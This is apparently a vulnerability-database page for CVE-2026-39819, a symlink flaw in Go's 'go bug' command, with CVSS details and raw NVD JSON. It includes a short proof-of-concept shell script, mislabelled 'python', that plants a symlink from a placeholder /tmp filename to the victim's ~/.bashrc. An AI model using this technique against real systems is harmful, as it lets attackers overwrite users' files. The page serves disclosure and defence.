Security Vulnerability Report
中文
CVE-2026-39819 CVSS 5.3 MEDIUM

CVE-2026-39819

Published: 2026-05-07 20:16:43
Last Modified: 2026-05-08 22:16:29

Description

The "go bug" command writes to two files with predictable names in the system temporary directory (for example, "/tmp"). An attacker with access to the temporary directory can create a symlink in one of these names, causing "go bug" to overwrite the target of the symlink.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Go (versions prior to fix for CVE-2026-39819)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-39819: "go bug" symlink vulnerability # This script demonstrates how an attacker can exploit predictable filenames. # 1. Identify the predictable filename used by "go bug" # (Analysis of the Go source code or runtime monitoring is required) PREDICTABLE_FILE="/tmp/go-bug-random-string" # Example placeholder name # 2. Choose a target file to overwrite (e.g., user config) TARGET_FILE="$HOME/.bashrc" # 3. Create the malicious symlink if [ -L "$PREDICTABLE_FILE" ]; then rm "$PREDICTABLE_FILE" fi echo "[*] Creating symlink: $PREDICTABLE_FILE -> $TARGET_FILE" ln -s "$TARGET_FILE" "$PREDICTABLE_FILE" echo "[*] Symlink created. Waiting for victim to execute 'go bug'..." echo "[*] Once executed, $TARGET_FILE will be overwritten."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39819", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:43.083", "lastModified": "2026-05-08T22:16:29.360", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The \"go bug\" command writes to two files with predictable names in the system temporary directory (for example, \"/tmp\"). An attacker with access to the temporary directory can create a symlink in one of these names, causing \"go bug\" to overwrite the target of the symlink."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 4.2}]}, "references": [{"url": "https://go.dev/cl/763882", "source": "[email protected]"}, {"url": "https://go.dev/issue/78584", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4978", "source": "[email protected]"}]}}